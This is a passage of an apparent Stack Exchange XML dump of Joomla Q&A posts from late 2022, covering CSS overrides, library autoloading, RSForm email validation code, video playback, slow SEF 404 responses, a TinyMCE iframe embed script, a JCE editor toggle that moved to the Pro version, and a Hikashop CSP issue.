ContentLicense="CC BY-SA 4.0" />
  <row Id="32513" PostTypeId="2" ParentId="32507" CreationDate="2022-10-27T07:01:50.500" Score="2" Body="&lt;p&gt;Templates and some third party extensions can be set up to minify and combine CSS files for better performance so editing the original CSS file may not have any immediate effect. This is also the case when caching is enabled.&lt;/p&gt;&#xA;&lt;p&gt;Directly editing a CSS file in a template is not considered best practice as a future update of the template will often overwrite the file that was directly edited and the change will be undone.&lt;/p&gt;&#xA;&lt;p&gt;A better approach for customising CSS is a custom CSS file.&lt;/p&gt;&#xA;&lt;p&gt;Custom CSS files are often implemented in the template settings or you can install a third party extension to enable a custom CSS file.&lt;/p&gt;&#xA;&lt;p&gt;You can read more about Custom CSS files at &lt;a href=&quot;https://How%20do%20I%20override%20the%20CSS%20styles%20in%20my%20template?&quot; rel=&quot;nofollow noreferrer&quot;&gt;How do I override the CSS styles in my template?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-10-27T07:01:50.500" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32514" PostTypeId="2" ParentId="32451" CreationDate="2022-10-27T07:03:37.247" Score="1" Body="&lt;p&gt;It is quite straightforward in the end, but like many things in Joomla not well documented if at all. Joomla 4 makes it easier as the Library is available to the autoloader so there is no longer any need to create a separate plugin to register or load your own library.&lt;/p&gt;&#xA;&lt;p&gt;In your manifest(.xml) file for the library you need to supply these two lines that will be used to create the entry in autoload_psr4.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;libraryname&amp;gt;bricks&amp;lt;/libraryname&amp;gt;&#xA;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Bricks\Library&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The value between the &lt;code&gt;&amp;lt;libraryname&amp;gt;&amp;lt;/libraryname&amp;gt;&lt;/code&gt;, in this case &lt;code&gt;bricks&lt;/code&gt;, is prefixed to the value in the &lt;code&gt;path=&amp;quot;src&amp;quot;&lt;/code&gt; and as it is installed as a Library extension it gets the JPATH_LIBRARIES  prefixed to match the directory where the code is copied to. The code can be found in &lt;code&gt;/libraries/bricks/src&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The value between the &lt;code&gt;&amp;lt;namespace&amp;gt;&amp;lt;/namespace&amp;gt;&lt;/code&gt;, in this case Bricks\Library, takes pride of place on the left side of the autoloader entry and is the namespace prefix used.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'Bricks\\Library\\' =&amp;gt; [JPATH_LIBRARIES . '/bricks/src'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The namespace in the top of your files is then &lt;code&gt;namespace Bricks\Library;&lt;/code&gt; and the Use statement looks something like this, &lt;code&gt;use Bricks\Library\DatalayerTrait;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-10-27T07:03:37.247" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32515" PostTypeId="2" ParentId="32509" CreationDate="2022-10-27T12:08:35.750" Score="1" Body="&lt;p&gt;The PHP function &lt;code&gt;set_magic_quotes_runtime&lt;/code&gt; that is visible in your error message has been DEPRECATED as of PHP 7.4.0, and REMOVED as of PHP 8.0.0, see &lt;a href=&quot;https://www.php.net/manual/en/function.get-magic-quotes-runtime.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/en/function.get-magic-quotes-runtime.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Joomla documentation has some info about upgrading: &lt;a href=&quot;https://docs.joomla.org/Portal:Upgrading_Versions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Portal:Upgrading_Versions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-10-27T12:08:35.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32516" PostTypeId="2" ParentId="7073" CreationDate="2022-10-28T05:58:46.317" Score="1" Body="&lt;p&gt;Some things have changed in later versions of Joomla and RSForms over the past 6 years. As such @Helge Sverre's code is close but needs some modifications to work now.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &amp;quot;Script called on form display&amp;quot; checks to see if the error status is true, and if it is, it displays an error message. You can customise that to your liking.&lt;/li&gt;&#xA;&lt;li&gt;The &amp;quot;Script called on form process&amp;quot; is where the validation takes place. It loads the existing values for the email field from the database, then checks for a match. If there is a match, then it sets the error status to true and the validation status to false.&lt;/li&gt;&#xA;&lt;li&gt;This combination then reloads the form, with the validation = false stopping the submission, and the error code triggering the error message to show.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Script called on form display&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if  ($_POST['form']['error'] == true) {&#xA;    // Modify message &#xA;    $formLayout = &amp;quot;&amp;lt;div class='alert'&amp;gt;&#xA;                      &amp;lt;h3&amp;gt;You have already submitted this form using this email address.&amp;lt;/h3&amp;gt;&#xA;                   &amp;lt;/div&amp;gt;&amp;quot; . $formLayout;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Script called on form process&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$formId = 0; // Change this value to your form ID&#xA;$_POST['form']['error'] = false;&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;    &#xA;$query&#xA;    -&amp;gt;select(array('*'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__rsform_submission_values'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('FormId') . ' = '. $db-&amp;gt;quote($formId))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName(&amp;quot;FieldValue&amp;quot;) . &amp;quot; = &amp;quot; . $db-&amp;gt;quote($_POST['form']['email'] )&#xA;);&#xA;// Check fieldname 'email' above is an exact case match for the field you are validating&#xA;    &#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;execute();&#xA;    &#xA;$num_rows = $db-&amp;gt;getNumRows();&#xA;    &#xA;// We found this email in the submissions&#xA;if ($num_rows &amp;gt; 0) {&#xA;   // Invalidate the submit button, as it doesn't have a validation message&#xA;   $invalid[] = RSFormProHelper::getComponentId(&amp;quot;Submit&amp;quot;);&#xA;   // Set a variable in the $_POST['form'] array to flag error&#xA;   $_POST['form']['error'] = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the code examples above, there's some critical things you need to update to specifically match what is in your form.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change the FormId value from 0 to match your form ID.&lt;/li&gt;&#xA;&lt;li&gt;Check email is the name of the field being validated (you might have 'email_address', 'Email' or 'Email Address' as variations that would break the code).&lt;/li&gt;&#xA;&lt;li&gt;Check Submit is the name of your submit button as that's the field this is invalidating, so needs to have a match to load in the &lt;code&gt;$invalid&lt;/code&gt; array correctly.&lt;/li&gt;&#xA;&lt;li&gt;In the use case that saw this be rewritten, we emptied the Error Message for the form.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="12352" LastEditDate="2023-01-11T22:49:35.980" LastActivityDate="2023-01-11T22:49:35.980" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32517" PostTypeId="2" ParentId="32503" CreationDate="2022-10-28T07:56:00.050" Score="1" Body="&lt;p&gt;No, not out of the box. The method handling this, &lt;code&gt;Joomla\CMS\HTML\HTMLHelper::includeRelativeFiles()&lt;/code&gt;, and related methods are protected. You'd have to extend the &lt;code&gt;HTMLHelper&lt;/code&gt; class to gain access to the method. It's also worth mentioning that currently this method always looks up files with &lt;code&gt;.min&lt;/code&gt; suffix first, even when looking for images (which do not use it at all). This adds additional I/O load, making the method unnecessarily slow. It's actually a bug, it has been reported exactly 2 years ago but hasn't been fixed yet. Anyways, you're better off writing your own method.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-10-28T07:56:00.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32518" PostTypeId="1" AcceptedAnswerId="32519" CreationDate="2022-10-28T23:51:55.267" Score="0" ViewCount="87" Body="&lt;p&gt;I have this bit of html in one of my articles:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;video style=&amp;quot;width: 100% !important; height: auto !important;&amp;quot; controls=&amp;quot;controls&amp;quot; width=&amp;quot;384&amp;quot; height=&amp;quot;288&amp;quot;&amp;gt;&#xA;    &amp;lt;source src=&amp;quot;files/video/uchi_uke.mpg&amp;quot; type=&amp;quot;video/mpeg&amp;quot; /&amp;gt;&#xA;&amp;lt;/video&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have tried replacing the path in the &lt;code&gt;src&lt;/code&gt; with &amp;quot;/files/video/uchi_uke.mpg&amp;quot; and &amp;quot;https://ny.karateklubb.com/files/video/uchi_uke.mpg&amp;quot;, but it's the same result. No playback.&lt;/p&gt;&#xA;&lt;p&gt;In my Global Configuration -&amp;gt; Media component, both mpg and mpeg are listed in Allowed Extensions and Legal Video Extensions (File Types), and I have the mime types video/mpeg and video/mpg listed in Legal MIME Types.&lt;/p&gt;&#xA;&lt;p&gt;Link to the article:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://ny.karateklubb.com/index.php/wadokai/kumiter/chudan-uke&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ny.karateklubb.com/index.php/wadokai/kumiter/chudan-uke&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The video file in question is there on the server, as can be confirmed by going here:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://ny.karateklubb.com/files/video/uchi_uke.mpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ny.karateklubb.com/files/video/uchi_uke.mpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Why isn't the video playing? I don't think it has anything to do with the browser, as I've tested on chrome on windows, firefox on windows and chrome on android.&lt;/p&gt;&#xA;" OwnerUserId="16681" LastEditorUserId="16681" LastEditDate="2022-10-28T23:56:57.077" LastActivityDate="2022-10-29T06:49:09.890" Title="Embedded local video files are not playing" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32519" PostTypeId="2" ParentId="32518" CreationDate="2022-10-29T06:49:09.890" Score="1" Body="&lt;p&gt;Convert your video to mp4. See &lt;a href=&quot;https://www.w3schools.com/html/html5_video.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.w3schools.com/html/html5_video.asp&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And in your code&lt;/p&gt;&#xA;&lt;p&gt;video style=&amp;quot;width: 100% !important; height: auto !important;&amp;quot; controls=&amp;quot;controls&amp;quot; width=&amp;quot;384&amp;quot; height=&amp;quot;288&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;width=&amp;quot;384&amp;quot; height=&amp;quot;288&amp;quot; -- unnecessary.&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2022-10-29T06:49:09.890" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32520" PostTypeId="1" CreationDate="2022-10-29T23:36:02.720" Score="2" ViewCount="67" Body="&lt;p&gt;Im running Joomla 3.X and can't seem to pinpoint why I'm getting such high HTTP response times.&lt;/p&gt;&#xA;&lt;p&gt;I think I narrowed it down to the SEF rules in my &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I ran some tests and thought to post my results here hoping someone familiar with the Joomla architecture can lead me in the right direction.&lt;/p&gt;&#xA;&lt;p&gt;Right now the server is on a push style CDN so &lt;code&gt;200 response&lt;/code&gt; OK pages are a non-issue.&lt;/p&gt;&#xA;&lt;p&gt;Its the &lt;code&gt;404&lt;/code&gt; pages that will always have a TTFB of around 1-2 seconds - testing here&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://speedvitals.com/ttfb-test&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://speedvitals.com/ttfb-test&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Most sites I check return a &lt;code&gt;404&lt;/code&gt; in 100-300 ms&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Heres what I have so far&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've setup a &amp;quot;rule&amp;quot; on my cdn to bypass the cache for a random url.&lt;/p&gt;&#xA;&lt;p&gt;When I test the random url as is, these are the times.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KsB98.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KsB98.png&quot; alt=&quot;slow response 404&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I remove the below SEF snippet from the &lt;code&gt;.htaccess&lt;/code&gt;, the &lt;code&gt;404&lt;/code&gt; response times improve dramatically.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;# &#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mITq5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mITq5.png&quot; alt=&quot;good response time 404&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;My question(s):&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Could this be DB related or could I rule that out because I'm getting good times with the SEF snippet removed?&lt;/p&gt;&#xA;&lt;p&gt;Apache or perhaps a Joomla config issue somewhere?&lt;/p&gt;&#xA;&lt;p&gt;Any insight would be very much appreciated, I've been working on this for a while now.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Side note:&lt;/strong&gt; ( Edited )&lt;/p&gt;&#xA;&lt;p&gt;If I turn off the SEF setting directly in the Joomla configuration,  404's just stop working.&lt;/p&gt;&#xA;&lt;p&gt;&lt;s&gt;Any random url shows the home page and a &lt;code&gt;200 response&lt;/code&gt; (in address bar the random url is intact)&lt;/s&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have since tried turning off the SEF setting and removed the snippet from the &lt;code&gt;.htaccess&lt;/code&gt; - it now will give the correct apache 404 response for random urls. They also seem to respond well (only when bypassing the CDN cache but thats another topic )&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Another Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;index.php&lt;/code&gt; file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Site&#xA; *&#xA; * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;/**&#xA; * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.&#xA; */&#xA;define('JOOMLA_MINIMUM_PHP', '5.3.10');&#xA;&#xA;if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '&amp;lt;'))&#xA;{&#xA;    die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');&#xA;}&#xA;&#xA;// Saves the start time and memory usage.&#xA;//$startTime = microtime(1);&#xA;//$startMem  = memory_get_usage();&#xA;&#xA;/**&#xA; * Constant that is checked in included files to prevent direct access.&#xA; * define() is used in the installation folder rather than &amp;quot;const&amp;quot; to not error for PHP 5.2 and lower&#xA; */&#xA;define('_JEXEC', 1);&#xA;&#xA;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Set profiler start time and memory usage and mark afterLoad in the profiler.&#xA;//JDEBUG ? JProfiler::getInstance('Application')-&amp;gt;setStart($startTime, $startMem)-&amp;gt;mark('afterLoad') : null;&#xA;&#xA;// Instantiate the application.&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;// Execute the application.&#xA;$app-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14543" LastEditorUserId="14543" LastEditDate="2022-10-31T23:59:47.090" LastActivityDate="2022-10-31T23:59:47.090" Title="Very slow HTTP response times possibly due to SEF rules in htaccess" Tags="|joomla-3.x|development|mysql|.htaccess-configuration|apache|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32521" PostTypeId="1" CreationDate="2022-10-31T14:44:15.843" Score="2" ViewCount="55" Body="&lt;p&gt;I created a plugin that allows for the embedding of iframes. The iframe is wrapped with a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; that uses Bootstrap's &lt;code&gt;ratio&lt;/code&gt; classes to keep everything responsive to an acceptable degree. The problem I'm having is that if you add content after this embed, the editor is automatically assuming you want to reuse &lt;code&gt;&amp;lt;div class=&amp;quot;ratio ratio-16x9&amp;quot;&amp;gt;&lt;/code&gt; as the tag for the next paragraph. Is there a way to indicate to TinyMCE that the next paragraph should return to using a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag?&lt;/p&gt;&#xA;&lt;p&gt;Here's what the editor is displaying if I show source code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;embed-container&amp;quot; style=&amp;quot;max-width: 600px;&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;ratio ratio-16x9&amp;quot;&amp;gt;&amp;lt;iframe src=&amp;quot;https://www.youtube.com/embed/jfKfPfyJRdk&amp;quot; allowfullscreen=&amp;quot;allowfullscreen&amp;quot; data-mce-fragment=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;ratio ratio-16x9&amp;quot;&amp;gt;Lorem ipsum dolor sit amet&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is a copy of the script I built for handling the insertion of content in case that helps.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function embedIframe(button,editor) {&#xA;    let frame = $(button).closest('.modal-content').find('iframe').contents();&#xA;    if (frame.find('#url').val() == '') {&#xA;        return;&#xA;    }&#xA;    &#xA;    let embed = '&amp;lt;div class=&amp;quot;ratio ratio-'+frame.find('#ratio').val()+'&amp;quot;&amp;gt;'+&#xA;        '&amp;lt;iframe src=&amp;quot;'+parseUrl(frame.find('#url').val())+'&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;'+&#xA;        '&amp;lt;/div&amp;gt;';&#xA;    &#xA;    if (frame.find('#maxwidth').val()) {&#xA;        embed = '&amp;lt;div class=&amp;quot;embed-container&amp;quot; style=&amp;quot;max-width:'+frame.find('#maxwidth').val()+'px&amp;quot;&amp;gt;'+embed+'&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    &#xA;    Joomla.editors.instances[editor].replaceSelection(embed);&#xA;};&#xA;&#xA;function parseUrl(url) {&#xA;    if (url.includes('iframe')) {&#xA;        url = url.match(/&amp;lt;iframe[^&amp;gt;]* src=&amp;quot;([^&amp;quot;]*)&amp;quot;/)[1];&#xA;    }&#xA;    if (url.includes('youtube')) {&#xA;        url = 'https://www.youtube.com/embed/'+url.match(/^.*(youtu.be\/|v\/|embed\/|watch\?|youtube.com\/user\/[^#]*#([^\/]*?\/)*)\??v?=?([^#\&amp;amp;\?]*).*/)[3]&#xA;    } else if (url.includes('vimeo')) {&#xA;        url = 'https://player.vimeo.com/video/'+url.match(/^(?:https?:\/\/(?:[\w]+\.)*vimeo\.com(?:[\/\w:]*(?:\/videos)?)?\/([0-9]+)[^\s]*)/)[1]&#xA;    }&#xA;    return url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2081" LastEditorUserId="2081" LastEditDate="2022-11-04T13:11:43.893" LastActivityDate="2022-11-04T13:11:43.893" Title="TinyMCE editor assuming same tag and class after added embedded iframe" Tags="|editor|tinymce|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32522" PostTypeId="1" CreationDate="2022-11-01T22:53:05.107" Score="3" ViewCount="282" Body="&lt;p&gt;I manage quite a few Joomla sites and following a stint of updates I've noticed that the Toggle editor button is missing on sites with JCE 2.9.32 Joomla 3.10.11.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IO3oa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IO3oa.png&quot; alt=&quot;jce toggle&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I had some sites which I was yet to update so tested the Joomla update first, which did not remove the editor button, the JCE update did. I checked the changelog for JCE and didn't see anything relating to this so I wanted to get some feedback from others before reporting a potential bug. It's a feature I use quite often.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2022-11-02T06:57:09.927" LastActivityDate="2023-10-02T12:38:47.773" Title="JCE Editor toggle editor button missing V2.9.32" Tags="|joomla-3.x|jce|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32523" PostTypeId="2" ParentId="32251" CreationDate="2022-11-02T10:57:54.800" Score="2" Body="&lt;p&gt;If your documents are in German, this might be a niche solution (SaaS) for you:&lt;/p&gt;&#xA;&lt;h4&gt;SEMPRIA-Search&lt;/h4&gt;&#xA;&lt;p&gt;a cognitive search engine based on natural language understanding, currently only for German&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Plugin for Joomla 3 and Joomla 4, see &lt;a href=&quot;https://www.sempria.de/hop/sempria/Suchplugin_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sempria.de/hop/sempria/Suchplugin_Joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SEMPRIA&lt;/strong&gt; a cognitive search engine, currently only for German and English documents &lt;a href=&quot;https://www.sempria.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sempria.de/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Caveat: I am working for this small company.&lt;/p&gt;&#xA;" OwnerUserId="13058" LastEditorUserId="13058" LastEditDate="2024-01-30T07:47:17.760" LastActivityDate="2024-01-30T07:47:17.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32524" PostTypeId="1" CreationDate="2022-11-02T11:09:50.687" Score="1" ViewCount="24" Body="&lt;p&gt;I have characteristics for volume/size setup for my product and have them displayed as radio buttons on the product page:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://cotsperfumery.under-development.info/shop-online/ladies-fragrances/product/english-rose-eau-de-parfum&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cotsperfumery.under-development.info/shop-online/ladies-fragrances/product/english-rose-eau-de-parfum&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Each Variant in the backend has its own settings for image, price, description, title, etc.&lt;/p&gt;&#xA;&lt;p&gt;When I view the page in Firefox all is working fine -- selecting different volumes changes all the on-page details, image, price, etc. However changing the characteristics using Safari, Chrome or Explorer on Mac and PC does not change anything on the page.&lt;/p&gt;&#xA;&lt;p&gt;I reverted the template overrides before posting to ensure it was not a mistake in my override and got the same result in all browsers.&lt;/p&gt;&#xA;&lt;p&gt;Looking at the page code across the browsers, in all the browsers apart from Firefox, it appears the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; code is somehow removed. If I manually add in the form element via dev tools it then works!&lt;/p&gt;&#xA;" OwnerUserId="16688" LastEditorUserId="12352" LastEditDate="2022-11-02T20:28:43.737" LastActivityDate="2024-03-27T00:04:00.437" Title="Hikashop Characteristics not changing image, content or price in browsers" Tags="|hikashop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32525" PostTypeId="2" ParentId="32524" CreationDate="2022-11-02T14:13:18.443" Score="0" Body="&lt;p&gt;On Linux + Chrome the site seems to work ok: selecting another size changes the price/image/description. However, on Linux in Firefox I can reproduce your issue: the price/image/description don't change. Even in incognito/privacy mode (to make sure the issue is not browser plugin related).&lt;/p&gt;&#xA;&lt;p&gt;I noticed a lot of &lt;strong&gt;errors in the Console&lt;/strong&gt; (Chrome: F12 to inspect the page, check the &amp;quot;Console&amp;quot; tab).&lt;/p&gt;&#xA;&lt;p&gt;Could you disable Joomla's &lt;code&gt;System - HTTP Headers&lt;/code&gt; plugin to test if your issue is related to the &lt;strong&gt;Content Security Policy&lt;/strong&gt; (CSP). I have a feeling that your &lt;strong&gt;CSP might be too strict&lt;/strong&gt; and that it does not allow the visitor's browser to load some of Hikashop's JavaScript files which it needs to change the price/image/description.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-11-02T14:13:18.443" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32526" PostTypeId="2" ParentId="32522" CreationDate="2022-11-02T14:18:40.803" Score="1" Body="&lt;p&gt;I ran into this issue some versions back. You can &lt;strong&gt;configure the toggle switch&lt;/strong&gt; in your JCE &lt;strong&gt;Profile&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the Joomla back-end: Components &amp;gt; JCE Editor (Pro) &amp;gt; Profiles &amp;gt; select the profile that you are using &amp;gt; go to the [Features &amp;amp; Layout] tab &amp;gt; set &lt;code&gt;Editor Toggle&lt;/code&gt; to Yes.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-11-02T14:18:40.803" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32527" PostTypeId="2" ParentId="32507" CreationDate="2022-11-02T23:16:53.307" Score="0" Body="&lt;p&gt;Probably, I found an answer in this other question: &lt;a href=&quot;https://joomla.stackexchange.com/questions/24547/how-to-force-auto-versioning-of-css-and-js-to-renew-on-file-change-within-joomla&quot;&gt;How to force auto versioning of css and js to renew on file change within Joomla! template?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I understand right, Joomla 4 use a versioning for CSS and JS files, and they can't be changed. Probably, reinstalling the template after my edits on the CSS files could be the solution to make them final. To try them before that, I can use &lt;code&gt;$this-&amp;gt;setMediaVersion('');&lt;/code&gt;, in the template's index.php file, to temporarily render versioning ineffective.&lt;/p&gt;&#xA;" OwnerUserId="16086" LastActivityDate="2022-11-02T23:16:53.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32528" PostTypeId="2" ParentId="32522" CreationDate="2022-11-03T19:47:12.077" Score="1" Body="&lt;p&gt;Just an update to this, I contacted JCE and they advised the toggle is now only available in the pro version.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hi,&lt;/p&gt;&#xA;&lt;p&gt;The Toggle Editor button is now only available in JCE Pro.&lt;/p&gt;&#xA;&lt;p&gt;You can access the HTML code in JCE Core by clicking the Code tab&#xA;above the editor toolbar.&lt;/p&gt;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&lt;p&gt;####### JCE Developer&lt;/p&gt;&#xA;&lt;p&gt;JCE - A Content Editor for Joomla!®&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's no biggie really I guess, I've just been so used to it, the code tab just seems to display a different font/font size. I'm a creature of habit.&lt;/p&gt;&#xA;&lt;p&gt;I hope this answer is of use in case anyone else is also a creature of habit.&lt;/p&gt;&#xA;&lt;p&gt;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2022-11-03T19:47:12.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
